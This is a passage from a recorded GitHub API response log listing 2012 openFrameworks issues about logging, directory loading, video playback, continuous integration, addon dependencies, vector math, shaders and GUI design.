Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1103,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1103","assignee":null,"title":"PG feature request: Generate makefile-only projects","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-21T21:43:34Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3754055,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-19T16:18:43Z","body":"whenever i call ofLog beneath openmp i have to wrap it in ```#pragma omp critical (ofLog)``` otherwise i get a crash\r\ni found adding the line above \r\nhttps://github.com/openframeworks/openFrameworks/blob/master/libs/openFrameworks/utils/ofLog.cpp#L84\r\nworks pretty well\r\n\r\nany objections to having it in there?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1098","comments":3,"milestone":null,"number":1098,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1098","assignee":null,"title":"feature / bug - #pragma omp critical(ofLog)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-19T14:04:51Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3710293,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-15T20:34:17Z","body":"I'm finding that `ofDirector::listDir, open` are extremely slow\r\nit seems that it's actually loading the entire dir contents into memory\r\n\r\nit's possible to then do something like\r\n```\r\nofLoadImage(myPixels, dir.getFile(i));\r\n```\r\nand you can quickly load that image from memory. which is faster than\r\n```\r\nofLoadImage(myPixels, dir.getFile(i).getAbsolutePath());\r\n```\r\n\r\nBut this doesn't seem to work consistently (even though the slow listing is consistent)\r\nand surely isn't what we want.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1075","comments":2,"milestone":null,"number":1075,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1075","assignee":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"title":"bug ofDirectory::open(string path) actually loads the entire dir into memory?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-15T07:54:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3662214,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-14T16:03:06Z","body":"Hello,\r\nI needed alpha channel in short length video for a recent project.\r\nIn the forum there is some old zip file for a ofxAlphaVideoPlayer that is still working, but that's OS X & windows only as it's based on QT.\r\nI'm working on linux, and I didn't find anything for GStreamer, so I modified the existing ofGstUtils and ofGstVideoPlayer.\r\nWould you mind if I do a pull request for this?\r\nI can also provide an example with a short length video using animation codec.\r\nWhat do you think?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1070","comments":6,"milestone":null,"number":1070,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1070","assignee":null,"title":"Alpha movies in GStreamer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-14T13:02:41Z","state":"open","user":{"url":"https://api.github.com/users/manuelgeoffray","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","login":"manuelgeoffray","avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":808090},"id":3647640,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-17T19:26:40Z","body":"Hey !\r\n\r\nMe again. Didn't find anywhere this infos. I'm currently testing the travis-ci.org service.\r\nAs many people are working on the project and as many many issue are raised, and fixed, I thought it could be great to add some test and thus the travis service.\r\n\r\nIt would avoid the problem met here :\r\nhttps://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8\r\nand the discussion here :\r\nhttps://github.com/openframeworks/openFrameworks/issues/804\r\nor there :\r\nhttps://github.com/openframeworks/openFrameworks/pull/921\r\n\r\nI read that :\r\n\r\n>feel free to make a unitTests folder at the root level of OF -\r\n> that is where all unitTests will go.\r\n\r\nBut didn't find them.\r\n\r\nThe travis service will permit to get the little badge we know well : \r\n[![Build Status](https://secure.travis-ci.org/soixantecircuits/openFrameworks.png?branch=master)](http://travis-ci.org/soixantecircuits/openFrameworks)\r\n\r\nAlso, why not adding some spec test, to ensure future development of features.\r\nI'm currently reading :\r\nhttp://www.squidoo.com/cplusplus-behaviour-driven-development-tools#module124841511\r\nhttp://sourceforge.net/apps/mediawiki/turtle/index.php?title=Turtle\r\n\r\nFor those who want some other nice reading :\r\n\r\nhttp://gamesfromwithin.com/exploring-the-c-unit-testing-framework-jungle\r\n\r\nThe travis test is here, currently it is a total fake, but I just proposed the idea of a test driven development\r\nhttp://travis-ci.org/#!/soixantecircuits/openFrameworks/builds/854259 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1068","comments":10,"milestone":null,"number":1068,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1068","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Continuous integration","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T15:49:23Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3631618,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T15:21:30Z","body":"Hi !\r\n\r\nRecently, I've been in lot of languages, from C++ to ruby, passing by the colosus of javascript and the sea of php. Dropping by various and strange framework such as the Cinder, the jQuery, the Rails, the Processing, etc ...\r\n\r\n## the situation \r\n\r\nWhat I have noticed is that a strong architecture and a really ease use of add-ons makes a framework get stronger. For instance, if we take a look at Ruby, we see that the use of gems give him a powerfull advance over his friend php. \r\n\r\n### the Rubyist\r\n\r\nThis way of thinking is getting even better with the http://gembundler.com/ [Bundler](http://gembundler.com/) friend. The gems have dependencies and a simple GemFile help to easily install all dependencies for one project.\r\n\r\n### the Cinderist\r\n\r\nFor Cinder, we get the block, as for OSX, it quiet easy and fast. Drag and drop and play/code.\r\n\r\n### the jQueryist\r\n\r\nWell, it is not frequent to have jQuery plugins depending on other jQuery plugins, but there are several way to handle dependencies on jQuery and JS.\r\n\r\n### the nodist\r\n\r\nThis lead us to http://npmjs.org/, which is really nice with dependencies.\r\nFor instance, if you tried cloud9ide, you know that you just have to make sure you get the proper package.json :\r\n\r\n```\r\n{\r\n \"name\": \"node-example\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": {\r\n \"express\": \"2.2.0\"\r\n }\r\n}\r\n```\r\n\r\nThis file ensure that everything before running the server will be installed via npm.\r\n\r\n### the ofist\r\n\r\nRight now, we just have the addons.make file, which is nice but does not do any lifting for us. We have to verify that the ofx addons has been downloaded and is installed in the right folder.\r\n\r\n- Why not creating a script that will allow to manage dependencies compilation ? \r\nI have this wonderful ofxJSONsettings, but he depends on [JSONCPP](http://jsoncpp.sourceforge.net/) and on boost, so here we will have :\r\n\r\npackage.json file in the ofxJSONsettings folder :\r\n\r\n```\r\n{\r\n \"name\": \"ofxJSONsettings\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"jsoncpp\": \"0.6.0-rc2\"\r\n \"url\":\"http://jsoncpp.svn.sourceforge.net/svnroot/jsoncpp/trunk/\"\r\n \"protocol\":\"svn\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nHum, then, we have our little bash script :\r\n\r\n`xadd -addon ofxJSONsettings`\r\n\r\nand for a project, we have to ensure that the make file run `xadd -addon ofxJSONsettings` if it does not find ofXJSONsettings.\r\n\r\nThis could lead to simplify and easify the use of plugin ! Hey, I want the new [mistubaRenderer](https://github.com/satoruhiga/ofxMitsubaRenderer) let's give a try :\r\n\r\n```\r\n{\r\n \"name\": \"ofxMitsubaRenderer\",\r\n \"version\": \"0.0.1\",\r\n \"dependencies\": [{\r\n \"mitsuba\": \"0.1\"\r\n \"url\":\"https://www.mitsuba-renderer.org/hg/mitsuba-bidir\"\r\n \"protocol\":\"hg\"\r\n }\r\n ]\r\n}\r\n```\r\n\r\nWell, this would be simplify if everybody use some same pattern, and respect some convention.\r\n\r\nSo what do you guys think about that ?\r\n\r\n\r\nThank you !\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1063","comments":7,"milestone":null,"number":1063,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1063","assignee":null,"title":"Automatic installer + dependencies handler","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-13T10:44:57Z","state":"open","user":{"url":"https://api.github.com/users/gabrielstuff","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","login":"gabrielstuff","avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":285033},"id":3627067,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-12T17:58:20Z","body":"right now there is a lot of duplicated code in the vector math classes. for example, normalize() and getNormalized() have separate implementations. if we follow the pattern of always implementing things in self-modifying methods, then providing copy-returning methods as alternatives, this will reduce the amount of code and make it harder to cause bugs or behavioral discrepancies.\r\n\r\n- implementations of an algorithm should always be self-modifying\r\n- copy-returning versions should be implemented using a differently named method, internally making a copy and calling the self-modifying version on the copy.\r\n\r\ne.g. something like (note, this isn't how it's implemented right now):\r\n\r\n\tinline ofVec2f& ofVec2f::normalize() {\r\n\t\tfloat length = (float)sqrt(x*x + y*y);\r\n\t\tif( length > 0 ) {\r\n\t\t\tx /= length;\r\n\t\t\ty /= length;\r\n\t\t}\r\n\t\treturn *this;\r\n\t}\r\n\r\n\tinline ofVec2f ofVec2f::getNormalized() const {\r\n\t\tofVec2f result = *this;\r\n\t\treturn result.normalize();\r\n\t}\r\n\r\ntaken from this post https://github.com/openframeworks/openFrameworks/pull/1061#issuecomment-4455601","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1062","comments":4,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1062,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1062","assignee":null,"title":"regularize code for math addons","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-12T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":3614231,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-13T13:07:11Z","body":"Just saw this is the documentation.\r\nVertexes is incorrect (wrong plural)\r\nVertices","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1055","comments":18,"milestone":null,"number":1055,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1055","assignee":null,"title":"ofVertexes?? ofCurveVertexes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-12T01:50:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3605277,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4940'), ('content-length', '44623'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"7a7b635a35e21a9f69de7a09b9040837"'), ('date', 'Tue, 29 May 2012 19:27:12 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-03-10T17:52:58Z","body":"if you have:\r\n\r\n uniform float dog;\r\n float cat;\r\n\r\nand:\r\n\r\n shader.setUniform1f(\"dog\", ofGetElapsedTimef());\r\n shader.setUniform1f(\"cat\", ofGetElapsedTimef());\r\n\r\nthere is no currently no error printed to the console, and \"cat\" is mysteriously unchanging while \"dog\" is fine.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1052","comments":0,"milestone":null,"number":1052,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1052","assignee":null,"title":"ofShader should show an error when using an invalid name","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-03-10T17:52:58Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3596240,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"ofxiPhoneScreenGrab saves with compression artifacts.\r\nfix for saving a lossless image in the below post,\r\nhttp://forum.openframeworks.cc/index.php/topic,4737.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1051","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1051,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1051","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofxiPhoneScreenGrab saves with compression artifacts.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-03-10T12:15:33Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3594731,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:09:09Z","body":"just wanted to kick off a discussion about cleaning up ofxiPhone folder structure.\r\nhave this up on the forum, http://forum.openframeworks.cc/index.php/topic,8955.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1050","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1050,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1050","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"clean up ofxiPhone folder structure.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-10T06:32:12Z","state":"open","user":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"id":3593619,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T14:55:24Z","body":"This an implementation of ofxiPhoneScreenGrab for Android","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1048","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1048,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1048","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"Adding Android screenshot feature, example to demonstrate it","labels":[],"closed_at":null,"created_at":"2012-03-10T05:31:45Z","state":"open","user":{"url":"https://api.github.com/users/bostonbusmap","avatar_url":"https://secure.gravatar.com/avatar/433032cca043cedb67180dc5109062da?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"433032cca043cedb67180dc5109062da","login":"bostonbusmap","id":863262},"id":3593430,"pull_request":{"html_url":"https://github.com/openframeworks/openFrameworks/pull/1048","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1048.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1048.diff"}},{"updated_at":"2012-03-12T15:31:12Z","body":"whenever I try to open a file using system dialog from OF utils or ofxFileDIalogOSX, the video is loaded correctly but it get stuck and doesn't play at all. see:\r\nhttp://forum.openframeworks.cc/index.php/topic,5233.0.html\r\nhttp://forum.openframeworks.cc/index.php/topic,6515.0.html\r\n\r\nquite a big issue IMHO","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1047","comments":8,"milestone":null,"number":1047,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1047","assignee":null,"title":"opening video files with system dialog in osx prevents them to play correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-video","name":"section-video","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-09T18:54:28Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","id":614123},"id":3587808,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-20T16:11:54Z","body":"just a small one but would be great. \r\nmaybe even different icon for debug and release? ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1039","comments":12,"milestone":null,"number":1039,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1039","assignee":null,"title":"make icons for OF apps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-06T17:56:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3528378,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:32:44Z","body":"right now it is not clear from a visual perspective what is a button / trigger and what is a toggle. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1037","comments":1,"milestone":null,"number":1037,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1037","assignee":null,"title":"ofxGui, ofxButton should look visually different to toggle","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-05T18:06:03Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3510933,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-04-10T19:29:53Z","body":"xml is one of the reasons this is currently an addon. \r\nthe original idea was to have something simple and minimal that could be in the core. \r\nalso something which could be built off of for larger gui addons ( hence ofParameter ) \r\n\r\nI see a couple of options going forward.\r\n\r\n1) swtich from xml to newline separated text files and move ofGui into core\r\nthis would be quite simple as ofParameter already has a name, value structure \r\n\r\n2) same as 1) but keep ofxGui as an addon - making it a bit simpler to add to a project \r\n2b) add ofParameter to core as it is more general purpose\r\n\r\n3) bring ofxXmlSettings into the core and bring ofGui into core.\r\n\r\n\r\nanyway I thought it would be good to get some discussion going about this.\r\nI'm especially interested in setting up ofParam and ofBaseGui in a way to make things modular and extendable. \r\n\r\nalso could be interesting to look at a way to represent a collection/group of ofParameters\r\nsome of this might be similar to some of the stuff @memo was doing with his plist style system. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1036","comments":10,"milestone":null,"number":1036,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1036","assignee":null,"title":"ofxGui -> ofGui - how/should we bring into core?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-05T16:56:26Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":3509628,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-12T12:39:10Z","body":"If it finds .vert, .frag (and .geom?) files in the data/ folder, the project generator should make a new folder, in the project file, next to (or inside) src called data/ and add the files to it. (data/ so that beginners can find the files in Finder)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1034","comments":3,"milestone":null,"number":1034,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1034","assignee":null,"title":"projectGenerator ignores shader .vert and .frag files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-04T11:19:04Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366},"id":3495602,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-06T15:06:00Z","body":"I talked to Arturo about this, but I want to make sure it's known. When you call ofLogSetLogLevel with a module string, that string is added to a map used to check the module's 